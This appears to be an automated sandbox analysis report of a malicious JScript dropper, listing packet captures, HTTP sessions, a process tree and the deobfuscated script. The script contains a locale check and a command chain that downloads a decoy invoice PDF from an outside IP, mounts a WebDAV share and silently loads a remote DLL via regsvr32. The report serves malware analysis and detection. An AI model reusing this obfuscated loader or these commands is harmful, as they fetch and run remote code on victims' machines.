Jan 13, 2025 09:32:05.526700974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.526709080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.545095921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.545152903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.545186996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.545227051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.545264006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.545295954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.545320988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.545321941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.545321941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.545331001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.545372963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.561038017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.561089039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.561122894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.561155081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.561188936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.561239004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.561285973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.561290979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.561285973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.561285973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.561325073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.561357975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.561372995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.561391115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.561440945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.561444044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.561530113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.561563969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.561584949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.561598063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.561650991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.578867912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.578897953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.578908920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.578919888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.578928947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.578934908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.578980923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.579035997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.579036951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.579046965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.579058886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.579067945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.579117060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.579159975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.579170942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.579183102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.579242945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.595973015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.602524042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.845514059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:06.260576963 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:06.265639067 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:06.265764952 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:06.268124104 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:06.273013115 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:07.070693970 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:07.124845028 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:07.437793970 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 09:32:19.208906889 CET	56262	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 13, 2025 09:32:19.208906889 CET	192.168.2.4	1.1.1.1	0xcd9e	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 13, 2025 09:32:19.010927916 CET	1.1.1.1	192.168.2.4	0x83cb	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 13, 2025 09:32:19.010927916 CET	1.1.1.1	192.168.2.4	0x83cb	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 13, 2025 09:32:19.216379881 CET	1.1.1.1	192.168.2.4	0xcd9e	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	4960	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 09:32:04.041790962 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 13, 2025 09:32:04.836237907 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 08:32:04 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 13, 2025 09:32:04.836262941 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 13, 2025 09:32:04.836273909 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 13, 2025 09:32:04.836285114 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 13, 2025 09:32:04.836291075 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 13, 2025 09:32:04.836296082 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 13, 2025 09:32:04.836307049 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 13, 2025 09:32:04.836312056 CET	1236	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 13, 2025 09:32:04.836317062 CET	552	IN	Data Raw: c9 e5 e9 2b 94 0b 33 d7 e6 f3 f1 d2 3d b4 be 84 5e b9 93 31 e5 f3 a5 fe 67 06 7c 12 2d 3f 63 e1 d3 95 fb 91 00 2d f7 63 00 e1 13 58 98 8c 0e 7f 18 a0 fc 6a e6 de 6c b9 57 33 bd d3 56 ef a1 fe 26 93 8b f2 85 22 69 ba 76 ee 2e 17 0e f9 e6 d2 76 fd Data Ascii: +3=^1g\|-?c-cXjlW3V&"iv.v6wzo;CKjv>v;r}mM18C=T~M)1'}xzc(Nj4bZs%T@.QO=P2>jPOjR??GVjDS1#N]E<<]ap
Jan 13, 2025 09:32:04.836328983 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:
Jan 13, 2025 09:32:04.841222048 CET	1236	IN	Data Raw: c3 91 55 fd 7e f3 23 ab 7a 46 5b 5f 92 e4 3f 73 63 a9 39 af 53 8a e4 e8 60 a6 bc 8e 42 cf 66 86 3d 34 dc 78 5c 18 f2 1d 5d 10 ad ef b4 e6 66 9b db 53 2d 3d 94 e1 50 00 db b7 62 2e c1 8e ca 1e 18 1a c5 d0 bb 61 0c bd bc ec 0f 0c 4d 31 f4 e8 f6 f8 Data Ascii: U~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	6336	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 09:32:06.268124104 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 13, 2025 09:32:07.070693970 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 08:32:06 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	03:32:01
Start date:	13/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1329220172182926612.js"
Imagebase:	0x7ff787600000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:32:01
Start date:	13/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll
Imagebase:	0x7ff6ef840000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:32:01
Start date:	13/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:32:01
Start date:	13/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:32:05
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	03:32:05
Start date:	13/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6ef840000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:32:05
Start date:	13/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6b0450000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:32:05
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	03:32:06
Start date:	13/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	03:32:06
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1612,i,9726095603850930841,13491542932021259864,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function sujee() {	sujee() ➔ undefined
1	fhtulciv = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var svfasd = this[jtzrskva + wjzent + tpddo + nqyfos + ocfvea + isadj + uqnzptq + lzootjwu] ( this[fwgzqztlg + vsmcvyo + bfgrkw + tpddo + qltpst + jtzrskva + lzootjwu][fcbovfwev + tpddo + ocfvea + wjzent + lzootjwu + ocfvea + qbswxgmz + ogleuschs + nzunwi + ocfvea + bfgrkw + lzootjwu] ( fwgzqztlg + vsmcvyo + bfgrkw + tpddo + qltpst + jtzrskva + lzootjwu + pqsebm + vsmcvyo + ptgjmec + ocfvea + wttxmuij + wttxmuij ) [mozbr + ocfvea + gtbqky + mozbr + ocfvea + wjzent + jusfey] ( tzxvzzzke + cvxuduafx + hzstmcm + ssurv + ohjelgyn + fcbovfwev + oisqifvng + mozbr + mozbr + hzstmcm + byojlv + egyae + ohjelgyn + oisqifvng + vsmcvyo + hzstmcm + mozbr + brohavrl + fcbovfwev + xokkbihd + uqnzptq + lzootjwu + tpddo + xokkbihd + wttxmuij + qesjmjzj + qcudhcslm + wjzent + uqnzptq + ocfvea + wttxmuij + brohavrl + isadj + uqnzptq + lzootjwu + ocfvea + tpddo + uqnzptq + wjzent + lzootjwu + qltpst + xokkbihd + uqnzptq + wjzent + wttxmuij + brohavrl + ufwknxji + xokkbihd + bfgrkw + wjzent + wttxmuij + ocfvea ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( foefjlb = 0 ; foefjlb < fhtulciv[wttxmuij + ocfvea + uqnzptq + gtbqky + lzootjwu + ptgjmec] ; ++ foefjlb )
4	{
5	if ( svfasd == fhtulciv[foefjlb] )
6	{
7	svfasd = true;
8	break ;
9	}
10	}
11	if ( svfasd !== true )
12	this[fwgzqztlg + vsmcvyo + bfgrkw + tpddo + qltpst + jtzrskva + lzootjwu][sxunj + zsjlst + qltpst + lzootjwu] ( );
13	this[fwgzqztlg + vsmcvyo + bfgrkw + tpddo + qltpst + jtzrskva + lzootjwu][fcbovfwev + tpddo + ocfvea + wjzent + lzootjwu + ocfvea + qbswxgmz + ogleuschs + nzunwi + ocfvea + bfgrkw + lzootjwu] ( fwgzqztlg + vsmcvyo + bfgrkw + tpddo + qltpst + jtzrskva + lzootjwu + pqsebm + vsmcvyo + ptgjmec + ocfvea + wttxmuij + wttxmuij ) [tpddo + zsjlst + uqnzptq] ( bfgrkw + foiomer + jusfey + qesjmjzj + ajxgql + bfgrkw + qesjmjzj + jtzrskva + xokkbihd + dygtyonox + ocfvea + tpddo + nqyfos + ptgjmec + ocfvea + wttxmuij + wttxmuij + pqsebm + ocfvea + njjwdr + ocfvea + qesjmjzj + oprtr + fcbovfwev + xokkbihd + foiomer + foiomer + wjzent + uqnzptq + jusfey + qesjmjzj + ugjjca + isadj + uqnzptq + tsbudd + xokkbihd + nluztwz + ocfvea + oprtr + fwgzqztlg + ocfvea + ogleuschs + mozbr + ocfvea + rsrnt + zsjlst + ocfvea + nqyfos + lzootjwu + qesjmjzj + oprtr + qbswxgmz + zsjlst + lzootjwu + zlmyzbp + qltpst + wttxmuij + ocfvea + qesjmjzj + zuywmw + lzootjwu + ocfvea + foiomer + jtzrskva + zuywmw + brohavrl + qltpst + uqnzptq + tsbudd + xokkbihd + qltpst + bfgrkw + ocfvea + pqsebm + jtzrskva + jusfey + fidfxnwoz + qesjmjzj + ptgjmec + lzootjwu + lzootjwu + jtzrskva + kuyyp + ajxgql + ajxgql + jaaxt + bqglrravj + xfdhidr + pqsebm + jaaxt + zoojlcb + xfdhidr + pqsebm + jaaxt + pqsebm + tuuovuyxw + cfhevrkze + szksqdiv + ajxgql + qltpst + uqnzptq + tsbudd + xokkbihd + qltpst + bfgrkw + ocfvea + pqsebm + jtzrskva + ptgjmec + jtzrskva + ugjjca + muvqgxhbe + muvqgxhbe + nqyfos + lzootjwu + wjzent + tpddo + lzootjwu + qesjmjzj + zuywmw + lzootjwu + ocfvea + foiomer + jtzrskva + zuywmw + brohavrl + qltpst + uqnzptq + tsbudd + xokkbihd + qltpst + bfgrkw + ocfvea + pqsebm + jtzrskva + jusfey + fidfxnwoz + muvqgxhbe + muvqgxhbe + bfgrkw + foiomer + jusfey + qesjmjzj + ajxgql + bfgrkw + qesjmjzj + uqnzptq + ocfvea + lzootjwu + qesjmjzj + zsjlst + nqyfos + ocfvea + qesjmjzj + brohavrl + brohavrl + jaaxt + bqglrravj + xfdhidr + pqsebm + jaaxt + zoojlcb + xfdhidr + pqsebm + jaaxt + pqsebm + tuuovuyxw + cfhevrkze + szksqdiv + ypbcnwbia + djpqntum + djpqntum + djpqntum + djpqntum + brohavrl + jusfey + wjzent + tsbudd + dygtyonox + dygtyonox + dygtyonox + tpddo + xokkbihd + xokkbihd + lzootjwu + brohavrl + muvqgxhbe + muvqgxhbe + bfgrkw + foiomer + jusfey + qesjmjzj + ajxgql + bfgrkw + qesjmjzj + tpddo + ocfvea + gtbqky + nqyfos + tsbudd + tpddo + xfdhidr + tuuovuyxw + qesjmjzj + ajxgql + nqyfos + qesjmjzj + brohavrl + brohavrl + jaaxt + bqglrravj + xfdhidr + pqsebm + jaaxt + zoojlcb + xfdhidr + pqsebm + jaaxt + pqsebm + tuuovuyxw + cfhevrkze + szksqdiv + ypbcnwbia + djpqntum + djpqntum + djpqntum + djpqntum + brohavrl + jusfey + wjzent + tsbudd + dygtyonox + dygtyonox + dygtyonox + tpddo + xokkbihd + xokkbihd + lzootjwu + brohavrl + jaaxt + tuuovuyxw + tuuovuyxw + xfdhidr + weffpqe + jaaxt + zoojlcb + vpctv + bqglrravj + cfhevrkze + tuuovuyxw + szksqdiv + weffpqe + vpctv + vpctv + pqsebm + jusfey + wttxmuij + wttxmuij, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll",0,false) ➔ 0
14	}
15	brohavrl = "K";
16	brohavrl = "p";
17	brohavrl = "T";
18	brohavrl = "V";
19	brohavrl = "m";
20	brohavrl = "Z";
21	brohavrl = "g";
22	brohavrl = "G";
23	brohavrl = "A";
